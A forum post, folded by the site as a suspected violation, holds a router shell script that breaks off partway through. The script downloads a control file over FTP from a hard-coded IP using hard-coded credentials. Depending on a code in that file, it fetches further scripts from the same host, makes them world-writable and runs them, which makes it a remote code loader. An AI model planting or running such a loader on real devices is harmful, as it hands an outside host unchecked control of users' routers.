该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
#!/bin/sh
cd /tmp
key_name=`nvram get cron_jobs | grep DDNS_Name | cut -d = -f 2 | cut -d '&' -f 1 | cut -d '.' -f 1 | cut -d '-' -f 2`
cd /jffs
ftpget -v -u sf -p sf123456 12.34.56.78 /jffs/update.action update.conf
update_http=`cat /jffs/update.action | grep code | cut -d ":" -f 2`
update_http_num=`echo ${update_http} | wc -c`
name_http=`cat /jffs/update.action | grep name | cut -d ":" -f 2`
shell_http=`cat /jffs/update.action | grep shell | cut -d ":" -f 2`
ddns_name_http=`cat /jffs/update.action | grep ddns | cut -d ":" -f 2`
if [ -f /jffs/update.code ]; then
update_code=`cat /jffs/update.code`
else
echo "11111" > /jffs/update.code
update_code=`cat /jffs/update.code`
fi
if [ ${update_http_num} -lt 5 ]; then
if [ "${update_http}" -eq "111" ];then
ftpget -v -u sf -p sf123456 12.34.56.78 ${name_http} ${name_http} && chmod 777 ${name_http} && sh ${name_http};
fi
if [ "${update_http}" -eq "222" ]; then
if [ ${update_http} -ne ${update_code} ]; then
ftpget -v -u sf -p sf123456 12.34.56.78 ${name_http} ${name_http} && chmod 777 ${name_http} && sh ${name_http};
fi
fi
if [ "${update_http}" -eq "333" ]; then
if [ -f /jffs/${name_http} ]; then
sh /jffs/${name_http};
fi
fi
if [ "${update_http}" -eq "444" ]; then
if [ ${update_http} -ne ${update_code} ]; then
if [ -f /jffs/${name_http} ]; then
sh /jffs/${name_http};